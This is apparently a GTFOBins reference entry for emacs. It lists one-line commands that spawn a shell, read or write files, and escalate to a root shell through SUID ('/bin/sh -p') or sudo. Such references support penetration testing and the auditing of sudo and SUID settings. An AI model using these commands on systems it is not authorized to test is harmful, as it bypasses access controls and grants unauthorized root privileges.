GTFOBins.github.io/_gtfobins/emacs.md
2018-07-04 19:26:52 +01:00

343 B

functions
execute-interactive file-write file-read suid-enabled sudo-enabled
code
emacs -Q -nw --eval '(term "/bin/sh")'
code
emacs file_to_write C-x C-s
code
emacs file_to_read
code
./emacs -Q -nw --eval '(term "/bin/sh -p")'
code
sudo emacs -Q -nw --eval '(term "/bin/sh")'